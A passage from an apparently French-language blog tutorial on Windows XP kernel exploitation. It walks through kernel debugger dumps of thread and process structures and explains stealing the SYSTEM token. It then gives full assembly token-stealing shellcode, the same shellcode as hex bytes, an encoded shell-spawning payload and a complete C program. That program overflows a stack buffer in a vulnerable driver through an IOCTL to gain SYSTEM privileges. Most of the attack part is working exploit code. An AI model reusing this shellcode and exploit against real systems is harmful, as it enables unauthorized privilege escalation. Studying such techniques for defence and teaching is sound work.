+0x4d4 MultiThreadSetMaster : (null)
+0x4d8 ThreadStartCount : [2] 0
+0x4e0 CcFastReadNoWait : 0
+0x4e4 CcFastReadWait : 0
+0x4e8 CcFastReadNotPossible : 0
+0x4ec CcCopyReadNoWait : 0
+0x4f0 CcCopyReadWait : 0
+0x4f4 CcCopyReadNoWaitMiss : 0
+0x4f8 KeAlignmentFixupCount : 0
+0x4fc KeContextSwitches : 0x2d69e
+0x500 KeDcacheFlushCount : 0
+0x504 KeExceptionDispatchCount : 0x1b3
+0x508 KeFirstLevelTbFills : 0
+0x50c KeFloatingEmulationCount : 0
+0x510 KeIcacheFlushCount : 0
+0x514 KeSecondLevelTbFills : 0
+0x518 KeSystemCalls : 0x1a7f44
+0x51c SpareCounter0 : [1] 0
+0x520 PPLookasideList : [16] _PP_LOOKASIDE_LIST
+0x5a0 PPNPagedLookasideList : [32] _PP_LOOKASIDE_LIST
+0x6a0 PPPagedLookasideList : [32] _PP_LOOKASIDE_LIST
+0x7a0 PacketBarrier : 0
+0x7a4 ReverseStall : 0
+0x7a8 IpiFrame : (null)
+0x7ac PrcbPad2 : [52] ""
+0x7e0 CurrentPacket : [3] (null)
+0x7ec TargetSet : 0
+0x7f0 WorkerRoutine : (null)
+0x7f4 IpiFrozen : 0
+0x7f8 PrcbPad3 : [40] ""
+0x820 RequestSummary : 0
+0x824 SignalDone : (null)
+0x828 PrcbPad4 : [56] ""
+0x860 DpcListHead : _LIST_ENTRY [ 0xffdff980 - 0xffdff980 ]
+0x868 DpcStack : 0xfaf57000
+0x86c DpcCount : 0x2d59
+0x870 DpcQueueDepth : 0
+0x874 DpcRoutineActive : 0
+0x878 DpcInterruptRequested : 0
+0x87c DpcLastCount : 0x2d58
+0x880 DpcRequestRate : 0
+0x884 MaximumDpcQueueDepth : 1
+0x888 MinimumDpcRate : 3
+0x88c QuantumEnd : 0
+0x890 PrcbPad5 : [16] ""
+0x8a0 DpcLock : 0
+0x8a4 PrcbPad6 : [28] ""
+0x8c0 CallDpc : _KDPC
+0x8e0 ChainedInterruptList : (null)
+0x8e4 LookasideIrpFloat : 1394
+0x8e8 SpareFields0 : [6] 0
+0x900 VendorString : [13] "GenuineIntel"
+0x90d InitialApicId : 0 ''
+0x90e LogicalProcessorsPerPhysicalProcessor : 0x1 ''
+0x910 MHz : 0x703
+0x914 FeatureBits : 0xa0033fff
+0x918 UpdateSignature : _LARGE_INTEGER 0xa1`00000000
+0x920 NpxSaveArea : _FX_SAVE_AREA
+0xb30 PowerState : _PROCESSOR_POWER_STATE
A l'offset numéro 4 on a une structure _KTHREAD intitulée CurrentThread. C'est donc les infos sur notre thread courrant. Cette structure nous permettra de remonter jusqu'au TOKEN du process.
kd> dt _KTHREAD 0x81229278
ntdll!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x010 MutantListHead : _LIST_ENTRY [ 0x81229288 - 0x81229288 ]
+0x018 InitialStack : 0xf8f72000
+0x01c StackLimit : 0xf8f6f000
+0x020 Teb : 0x7ffdf000
+0x024 TlsArray : (null)
+0x028 KernelStack : 0xf8f71c70
+0x02c DebugActive : 0 ''
+0x02d State : 0x2 ''
+0x02e Alerted : [2] ""
+0x030 Iopl : 0 ''
+0x031 NpxState : 0xa ''
+0x032 Saturation : 0 ''
+0x033 Priority : 10 ''
+0x034 ApcState : _KAPC_STATE
+0x04c ContextSwitches : 0x25
+0x050 IdleSwapBlock : 0 ''
+0x051 Spare0 : [3] ""
+0x054 WaitStatus : 0
+0x058 WaitIrql : 0 ''
+0x059 WaitMode : 1 ''
+0x05a WaitNext : 0 ''
+0x05b WaitReason : 0x11 ''
+0x05c WaitBlockList : 0x812292e8 _KWAIT_BLOCK
+0x060 WaitListEntry : _LIST_ENTRY [ 0x0 - 0x80552a50 ]
+0x060 SwapListEntry : _SINGLE_LIST_ENTRY
+0x068 WaitTime : 0x10386
+0x06c BasePriority : 8 ''
+0x06d DecrementCount : 0x10 ''
+0x06e PriorityDecrement : 2 ''
+0x06f Quantum : 2 ''
+0x070 WaitBlock : [4] _KWAIT_BLOCK
+0x0d0 LegoData : (null)
+0x0d4 KernelApcDisable : 0
+0x0d8 UserAffinity : 1
+0x0dc SystemAffinityActive : 0 ''
+0x0dd PowerState : 0 ''
+0x0de NpxIrql : 0 ''
+0x0df InitialNode : 0 ''
+0x0e0 ServiceTable : 0x80552180
+0x0e4 Queue : (null)
+0x0e8 ApcQueueLock : 0
+0x0f0 Timer : _KTIMER
+0x118 QueueListEntry : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x120 SoftAffinity : 1
+0x124 Affinity : 1
+0x128 Preempted : 0 ''
+0x129 ProcessReadyQueue : 0 ''
+0x12a KernelStackResident : 0x1 ''
+0x12b NextProcessor : 0 ''
+0x12c CallbackStack : (null)
+0x130 Win32Thread : (null)
+0x134 TrapFrame : 0xf8f71d64 _KTRAP_FRAME
+0x138 ApcStatePointer : [2] 0x812292ac _KAPC_STATE
+0x140 PreviousMode : 1 ''
+0x141 EnableStackSwap : 0x1 ''
+0x142 LargeStack : 0 ''
+0x143 ResourceIndex : 0 ''
+0x144 KernelTime : 5
+0x148 UserTime : 0
+0x14c SavedApcState : _KAPC_STATE
+0x164 Alertable : 0 ''
+0x165 ApcStateIndex : 0 ''
+0x166 ApcQueueable : 0x1 ''
+0x167 AutoAlignment : 0 ''
+0x168 StackBase : 0xf8f72000
+0x16c SuspendApc : _KAPC
+0x19c SuspendSemaphore : _KSEMAPHORE
+0x1b0 ThreadListEntry : _LIST_ENTRY [ 0xffb79df0 - 0xffb79df0 ]
+0x1b8 FreezeCount : 0 ''
+0x1b9 SuspendCount : 0 ''
+0x1ba IdealProcessor : 0 ''
+0x1bb DisableBoost : 0 ''
A l'offset 0x34 nous avons la structure _KAPC_STATE, si on déroule cette sutructure nous avons :
kd> dt _KAPC_STATE 0x81229278+34
ntdll!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY [ 0x812292ac - 0x812292ac ]
+0x010 Process : 0xffb79da0 _KPROCESS
+0x014 KernelApcInProgress : 0 ''
+0x015 KernelApcPending : 0 ''
+0x016 UserApcPending : 0 ''
On a l'adresse d'une structure _KPROCESS qui est réalité une structure _EPROCESS. C'est la strucutre même du processus. C'est dans cette structure que nous retrouverons tous les éléments nous permettant de mener à bien notre élévation de privilèges.
kd> dt _EPROCESS 0xffb79da0
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x06c ProcessLock : _EX_PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER 0x1c9fd6a`9d62bfa8
+0x078 ExitTime : _LARGE_INTEGER 0x0
+0x080 RundownProtect : _EX_RUNDOWN_REF
+0x084 UniqueProcessId : 0x00000410
+0x088 ActiveProcessLinks : _LIST_ENTRY [ 0x80559258 - 0xffb9b630 ]
+0x090 QuotaUsage : [3] 0x370
+0x09c QuotaPeak : [3] 0x3b0
+0x0a8 CommitCharge : 0x34
+0x0ac PeakVirtualSize : 0x72f000
+0x0b0 VirtualSize : 0x72f000
+0x0b4 SessionProcessLinks : _LIST_ENTRY [ 0xfb06f014 - 0xffb9b65c ]
+0x0bc DebugPort : (null)
+0x0c0 ExceptionPort : 0xe13ef8a0
+0x0c4 ObjectTable : 0xe1c7d9d0 _HANDLE_TABLE
+0x0c8 Token : _EX_FAST_REF
+0x0cc WorkingSetLock : _FAST_MUTEX
+0x0ec WorkingSetPage : 0x8f42
+0x0f0 AddressCreationLock : _FAST_MUTEX
+0x110 HyperSpaceLock : 0
+0x114 ForkInProgress : (null)
+0x118 HardwareTrigger : 0
+0x11c VadRoot : 0xff9d32d8
+0x120 VadHint : 0xffb192a0
+0x124 CloneRoot : (null)
+0x128 NumberOfPrivatePages : 0x27
+0x12c NumberOfLockedPages : 0
+0x130 Win32Process : 0xe154cae0
+0x134 Job : (null)
+0x138 SectionObject : 0xe1155618
+0x13c SectionBaseAddress : 0x00400000
+0x140 QuotaBlock : 0x81213988 _EPROCESS_QUOTA_BLOCK
+0x144 WorkingSetWatch : (null)
+0x148 Win32WindowStation : 0x00000024
+0x14c InheritedFromUniqueProcessId : 0x00000678
+0x150 LdtInformation : (null)
+0x154 VadFreeHint : (null)
+0x158 VdmObjects : (null)
+0x15c DeviceMap : 0xe19b80d0
+0x160 PhysicalVadList : _LIST_ENTRY [ 0xffb79f00 - 0xffb79f00 ]
+0x168 PageDirectoryPte : _HARDWARE_PTE_X86
+0x168 Filler : 0
+0x170 Session : 0xfb06f000
+0x174 ImageFileName : [16] "Uexemple1.exe"
+0x184 JobLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x18c LockedPagesList : (null)
+0x190 ThreadListHead : _LIST_ENTRY [ 0x812294a4 - 0x812294a4 ]
+0x198 SecurityPort : (null)
+0x19c PaeTop : 0xfb2061c0
+0x1a0 ActiveThreads : 1
+0x1a4 GrantedAccess : 0x1f0fff
+0x1a8 DefaultHardErrorProcessing : 1
+0x1ac LastThreadExitStatus : 0
+0x1b0 Peb : 0x7ffd5000 _PEB
+0x1b4 PrefetchTrace : _EX_FAST_REF
+0x1b8 ReadOperationCount : _LARGE_INTEGER 0x2
+0x1c0 WriteOperationCount : _LARGE_INTEGER 0x0
+0x1c8 OtherOperationCount : _LARGE_INTEGER 0x43
+0x1d0 ReadTransferCount : _LARGE_INTEGER 0xe08
+0x1d8 WriteTransferCount : _LARGE_INTEGER 0x0
+0x1e0 OtherTransferCount : _LARGE_INTEGER 0x12041
+0x1e8 CommitChargeLimit : 0
+0x1ec CommitChargePeak : 0x34
+0x1f0 AweInfo : (null)
+0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
+0x1f8 Vm : _MMSUPPORT
+0x238 LastFaultCount : 0
+0x23c ModifiedPageCount : 0
+0x240 NumberOfVads : 0x16
+0x244 JobStatus : 0
+0x248 Flags : 0xd0800
+0x248 CreateReported : 0y0
+0x248 NoDebugInherit : 0y0
+0x248 ProcessExiting : 0y0
+0x248 ProcessDelete : 0y0
+0x248 Wow64SplitPages : 0y0
+0x248 VmDeleted : 0y0
+0x248 OutswapEnabled : 0y0
+0x248 Outswapped : 0y0
+0x248 ForkFailed : 0y0
+0x248 HasPhysicalVad : 0y0
+0x248 AddressSpaceInitialized : 0y10
+0x248 SetTimerResolution : 0y0
+0x248 BreakOnTermination : 0y0
+0x248 SessionCreationUnderway : 0y0
+0x248 WriteWatch : 0y0
+0x248 ProcessInSession : 0y1
+0x248 OverrideAddressSpace : 0y0
+0x248 HasAddressSpace : 0y1
+0x248 LaunchPrefetched : 0y1
+0x248 InjectInpageErrors : 0y0
+0x248 VmTopDown : 0y0
+0x248 Unused3 : 0y0
+0x248 Unused4 : 0y0
+0x248 VdmAllowed : 0y0
+0x248 Unused : 0y00000 (0)
+0x248 Unused1 : 0y0
+0x248 Unused2 : 0y0
+0x24c ExitStatus : 259
+0x250 NextPageColor : 0x5147
+0x252 SubSystemMinorVersion : 0 ''
+0x253 SubSystemMajorVersion : 0x4 ''
+0x252 SubSystemVersion : 0x400
+0x254 PriorityClass : 0x2 ''
+0x255 WorkingSetAcquiredUnsafe : 0 ''
+0x258 Cookie : 0x9cbfe81e
Nous trouvons ActiveProcessLinks qui est une liste doublement chainnée des processus actifs du système, UniqueProcessId qui est ni plus ni moins que le PID du processus courrant et enfin Token qui est un pointeur vers la structure des droits alloués au processus. Les process sont chainnés de la façon suivante :
+---------------------------------------------------------------------------------------------------+
| +---------------+ +---------------+ +---------------+ +---------------+ |
| | EPROCESS | | EPROCESS | | EPROCESS | | EPROCESS | |
| +---------------+ +---------------+ +---------------+ +---------------+ |
| | . | | . | | . | | . | |
| | . | | . | | . | | . | |
| | . | | . | | . | | . | |
| +---------------+ +---------------+ +---------------+ +---------------+ |
| | PID | | PID | | PID | | PID | |
| +---------------+ +---------------+ +---------------+ +---------------+ |
+>| LIST_ENTRY | -------> | LIST_ENTRY | ------> | LIST_ENTRY | -------> | LIST_ENTRY |-+
+--| | <------- | | <------ | | <------- | |<-+
| +---------------+ +---------------+ +---------------+ +---------------+ |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| +---------------+ +---------------+ +---------------+ +---------------+ |
+-----------------------------------------------------------------------------------------------------+
Nous pouvons donc passer de processus en processus juste en utilisant ces listes. De plus comme on a le PID du process affecté à la structure on va pouvoir aisément trouver quel token recopier. Sous windows XP le PID est SYSTEM est toujours 4, nous allons donc recherche la valeur (qui est pointeur) du Token de SYSTEM et la copier à la place de celle de notre processus. Et PAF ca fait des chocapics comme dirait Ivanlef0u ;-)
Maintenant que nous savons comment copier les privilèges nous devons retourner en user land... et oui, souvenez vous, en kernel le moindre bug c'est le BSOD (ou RSOD pour Trance) direct ! Pour se faire on va utiliser l'intruction SYSEXIT. Voyons son fonctionnement :
IF SYSENTER_CS_MSR[15:2] = 0 THEN #GP(0); FI;
IF CR0.PE = 0 THEN #GP(0); FI;
IF CPL ? 0 THEN #GP(0); FI;
CS.SEL ? (SYSENTER_CS_MSR + 16);(* Segment selector for return CS *)
(* Set rest of CS to a fixed value *)
CS.BASE ? 0;(* Flat segment *)
CS.LIMIT ? FFFFFH;(* 4-GByte limit *)
CS.ARbyte.G ? 1;(* 4-KByte granularity *)
CS.ARbyte.S ? 1;
CS.ARbyte.TYPE ? 1011B;(* Execute, Read, Non-Conforming Code *)
CS.ARbyte.D ? 1;(* 32-bit code segment*)
CS.ARbyte.DPL ? 3;
CS.SEL.RPL ? 3;
CS.ARbyte.P ? 1;
CPL ? 3;
SS.SEL ? (SYSENTER_CS_MSR + 24);(* Segment selector for return SS *)
(* Set rest of SS to a fixed value *);
SS.BASE ? 0;(* Flat segment *)
SS.LIMIT ? FFFFFH;(* 4-GByte limit *)
SS.ARbyte.G ?1;(* 4-KByte granularity *)
SS.ARbyte.S ? ;
SS.ARbyte.TYPE ? 0011B;(* Expand Up, Read/Write, Data *)
SS.ARbyte.D ? 1;(* 32-bit stack segment*)
SS.ARbyte.DPL ? 3;
SS.SEL.RPL ? 3;
SS.ARbyte.P ? 1;
ESP ? ECX;
EIP? EDX;
Intel nous dit en gros qu'on doit placer l'adresse de notre pile dans ECX et mettre l'adresse de la fonction (ou shellecode pour nous) à executer dans EDX. Mais ce que Intel ne nous dit pas (et c'est normal) c'est que nous windows on doit aussi changer la veleur de FS. En effet, FS en kernel et FS en user land n'ont pas la même valeur, en user le FS vaut 0x3B alors qu'en kernel il vaut 0x30. Là on a tout ce qu'il faut pour retourner en userland sans craindre le moindre crash de notre appli :-D
On sort notre MASM et on code tout ca :
.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
assume fs:nothing
.code
start:
; Shellcode pour Windows XP
;fs pointe sur _KPCR
xor esi, esi
xor edi, edi
mov eax, fs:[124h] ; On recup un pointeur sur le _KTHREAD courrant
mov eax, [eax+44h] ; On recup un pointeur sur le _KPROCESS (qui est en réalité un _EPROCESS) courrant
add eax, 88h ; On recup ActiveProcessLinks courrant (liste de process doublement chainée) //////////// +0x088 ActiveProcessLinks : _LIST_ENTRY [ 0x80559258 - 0x80d77258 ]
mov edx, eax ; On recup le point d'entrée des listes EPROCESS
; edx = Adresse Base de la liste
VerifSrcPID:
mov ebx, [eax - 4h] ; Recu de l'UniqueProcessId courrant (le PID quoi)
cmp ebx, 41414141h ; Est-ce notre PID ?
jne VerifDstPID ; Si c'est pas lui on recherche le PID de SYSTEM
mov esi, eax ; si c'est notre PID on stock l'adresse de notre list_entry
; esi = adresse de la structure de notre PID
VerifDstPID:
cmp ebx, 4h ; Est-ce le PID de SYSTEM ?
jne AreWeDone ; Si c'est pas lui on teste si on a fini.
mov edi, eax ; si c'est le PID de SYSTEM on stock notre list_entry
; edi = adresse de la structure du PID de SYSTEM
AreWeDone:
mov edx, esi
and edx, edi
test edx, edx ; On test si nous avons bien les 2 TOKEN
jne SwapToken ; Si oui on swap les TOKEN
mov eax, [eax] ; Si non no passes à la liste suivante
cmp eax, edx ; Sommes nous revenu au point de départ ?
jne VerifSrcPID ; Si non on continue à chercher
jmp WeAreDone ; Si oui on crash l'appli
SwapToken:
mov eax, edi ; On recup le l'adresse de la structure du PID SYSTEM
mov ecx, 40h ; 0xC8 - 0x88 = 0x40. (0xC8 est l'offset du token et on pointe à l'offset 0x88)
add eax, ecx ; On ajoute la base
mov eax, [eax] ; On recup le Token
mov ebx, esi ; On recup le l'adresse de notre PID
mov [ebx + ecx], eax; On fout le TOKEN de SYSTEM dans notre PID
WeAreDone:
mov edx, 11111111h ; Eip
mov ecx, 22222222h ; Esp
mov eax, 3Bh ; Valeur du Fs userland
db 8Eh, 0E0h ; mov fs, ax
db 0Fh, 35h ;sysexit
end start
Notre dernière ligne droite. On a plus qu'à référencer l'adresse de la stack, celle du shellcode (ou de la fonction à executer), changer l'adresse de retour par celle de notre shellcode qui change les tokens et hop ! on est SYSTEM ;-P Dans le code C le shellcode executé après le changement des droits est un simple appel à cmd.
#include <stdio.h>
#include <windows.h>
#include <winioctl.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
// Device type -- in the "User Defined" range."
#define SIOCTL_TYPE 40000
// The IOCTL function codes from 0x800 to 0xFFF are for customer use.
#define IOCTL_LOL\
CTL_CODE( SIOCTL_TYPE, 0x800, METHOD_BUFFERED, FILE_READ_DATA|FILE_WRITE_DATA)
typedef struct _MASTER{
DWORD padding;
DWORD CurrPID;
DWORD MagicNumber;
DWORD paddingbis;
}MASTER, *PMASTER;
char ShellcodeMaster[] = "\x33\xf6\x33\xff\x64\xa1\x24\x01\x00\x00\x8b\x40\x44\x05\x88\x00"
"\x00\x00\x8b\xd0\x8b\x58\xfc\x81\xfb\x41\x41\x41\x41\x75\x02\x8b"
"\xf0\x83\xfb\x04\x75\x02\x8b\xf8\x8b\xd6\x23\xd7\x85\xd2\x75\x08"
"\x8b\x00\x3b\xc2\x75\xde\xeb\x10\x8b\xc7\xb9\x40\x00\x00\x00\x03"
"\xc1\x8b\x00\x8b\xde\x89\x04\x19\xba\x11\x11\x11\x11\xb9\x22\x22"
"\x22\x22\xb8\x3b\x00\x00\x00\x8e\xe0\x0f\x35";
char RealShellcode[] = "\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x15"
"\xf3\x1d\xb8\x83\xeb\xfc\xe2\xf4\xe9\x1b\x59\xb8\x15\xf3\x96\xfd"
"\x29\x78\x61\xbd\x6d\xf2\xf2\x33\x5a\xeb\x96\xe7\x35\xf2\xf6\xf1"
"\x9e\xc7\x96\xb9\xfb\xc2\xdd\x21\xb9\x77\xdd\xcc\x12\x32\xd7\xb5"
"\x14\x31\xf6\x4c\x2e\xa7\x39\xbc\x60\x16\x96\xe7\x31\xf2\xf6\xde"
"\x9e\xff\x56\x33\x4a\xef\x1c\x53\x9e\xef\x96\xb9\xfe\x7a\x41\x9c"
"\x11\x30\x2c\x78\x71\x78\x5d\x88\x90\x33\x65\xb4\x9e\xb3\x11\x33"
"\x65\xef\xb0\x33\x7d\xfb\xf6\xb1\x9e\x73\xad\xb8\x15\xf3\x96\xd0"
"\x29\xac\x2c\x4e\x75\xa5\x94\x40\x96\x33\x66\xe8\x7d\x8d\xc5\x5a"
"\x66\x9b\x85\x46\x9f\xfd\x4a\x47\xf2\x90\x70\xdc\x3b\x96\x65\xdd"
"\x15\xf3\x1d\xb8";
int GetPidByName(char * name_Proc) {
PROCESSENTRY32 PEntry;
HANDLE hTool32;
PEntry.dwSize = sizeof(PROCESSENTRY32);
hTool32 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hTool32 == INVALID_HANDLE_VALUE) {
printf("\nError ==> CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)");
getch();
exit(0);
}
if(!Process32First(hTool32, &PEntry)) {
printf("\nError ==> Process32First(hTool32, &PEntry)");
getch();
exit(0);
}
if (!strcasecmp(PEntry.szExeFile, name_Proc)) {
printf("===> Found : %s : %d\n\n", PEntry.szExeFile, PEntry.th32ProcessID);
return PEntry.th32ProcessID;
}
//printf( "\n Process : PID\n");
while(Process32Next(hTool32, &PEntry) != 0){
if (strcasecmp(PEntry.szExeFile, name_Proc) == 0) {
CloseHandle(hTool32);
printf("===> Found : %s : %d\n\n", PEntry.szExeFile, PEntry.th32ProcessID);
return PEntry.th32ProcessID;
}
//printf("===> Trouver : %s : %d\n", PEntry.szExeFile, PEntry.th32ProcessID);
}
printf("\n%s n'a pas ete trouve.", name_Proc);
getch();
exit(0);
}
void MajShellcode(char * ProcessName){
DWORD ProcessID;
DWORD MagicWord = 0x41414141;
int i;
ProcessID = GetPidByName(ProcessName);
for (i=0; i<sizeof(ShellcodeMaster); i++) {
if (!memcmp(ShellcodeMaster+i, &MagicWord, 4)) {
ShellcodeMaster[i] = (DWORD) ProcessID & 0x000000FF;
ShellcodeMaster[i+1] = ((DWORD) ProcessID & 0x0000FF00) >> 8;
ShellcodeMaster[i+2] = ((DWORD) ProcessID & 0x00FF0000) >> 16;
ShellcodeMaster[i+3] = ((DWORD) ProcessID & 0xFF000000) >> 24;
printf("Shellcode PID Uploaded !\n");
return;
}
}
printf("Shellcode PID NOT Uploaded :\'(\n");
return;
}
void MajRealShellcode(){
int i;
DWORD MagicWord = 0x11111111;
for (i=0; i<sizeof(ShellcodeMaster); i++) {
if (!memcmp(ShellcodeMaster+i, &MagicWord, 4)) {
ShellcodeMaster[i] = (DWORD) &RealShellcode & 0x000000FF;
ShellcodeMaster[i+1] = ((DWORD) &RealShellcode & 0x0000FF00) >> 8;
ShellcodeMaster[i+2] = ((DWORD) &RealShellcode & 0x00FF0000) >> 16;
ShellcodeMaster[i+3] = ((DWORD) &RealShellcode & 0xFF000000) >> 24;
printf("Shellcode Redirect Uploaded !\n");
return;
}
}
printf("Shellcode Redirect NOT Uploaded :\'(\n");
return;
}
int FindStack(){
__asm__(
"mov %eax, %esp\n\t"
"leave\n\t"
"ret\n\t"
);
}
void MajRealStack(){
int i;
DWORD MagicWord = 0x22222222;
DWORD StackLocation = FindStack();
for (i=0; i<sizeof(ShellcodeMaster); i++) {
if (!memcmp(ShellcodeMaster+i, &MagicWord, 4)) {
ShellcodeMaster[i] = (DWORD) &StackLocation & 0x000000FF;
ShellcodeMaster[i+1] = ((DWORD) &StackLocation & 0x0000FF00) >> 8;
ShellcodeMaster[i+2] = ((DWORD) &StackLocation & 0x00FF0000) >> 16;
ShellcodeMaster[i+3] = ((DWORD) &StackLocation & 0xFF000000) >> 24;
printf("Shellcode Stack Uploaded !\n");
return;
}
}
printf("Shellcode NOT Uploaded :\'(\n");
return;
}
int __cdecl main(int argc, char* argv[])
{
HANDLE hDevice;
DWORD NombreByte;
MASTER StructOfWariors;
char welcome[1024];
char out[50];
int choix;
MajShellcode("XploitKernel.exe");
MajRealShellcode();
MajRealStack();
memset(welcome, 0x61, 20);
memset(welcome+20, 0x61, 4); //I overflow this shit of driver !
//welcome[20] = (DWORD) ShellcodeMaster & 0x000000FF;
//welcome[21] = ((DWORD) ShellcodeMaster & 0x0000FF00) >> 8;
//welcome[22] = ((DWORD) ShellcodeMaster & 0x00FF0000) >> 16;
//welcome[23] = ((DWORD) ShellcodeMaster & 0xFF000000) >> 24;
welcome[24] = 0;
ZeroMemory(out,sizeof(out));
//printf("This is the game of WARIORS !\n\n");
//if(argc < 2){printf(USAGE,argv[0]);return 0;}
//if(atoi(argv[1]) == 2 && !argv[2]){printf(USAGE,argv[0]);return 0;}
//you simply need to open the DOS Device Name using \\.\<DosName>.
hDevice = CreateFile("\\\\.\\MasterHack",GENERIC_WRITE|GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
printf("\nHandle : %p\n",hDevice);
printf("Press any key to Hack this shit of server :-P\n");
getch();
DeviceIoControl(hDevice,IOCTL_LOL, &welcome, 24,out,sizeof(out),&NombreByte,NULL);
printf("\n");
printf("Result : %s\n",out);
CloseHandle(hDevice);
getch();
return 0;
}
Ben l'exploitation kernel c'est le bien, bon on trouve rarement ce type du vuln aussi grasse (le stack overflow), mais on a d'autres overflow sympas :-P
Désolé de ne pas mettre en ligne le driver pour le moment... Cela dit avec l'article d'Overcl0k vous devriez être en mesure de recoder tout ca ;-)
Références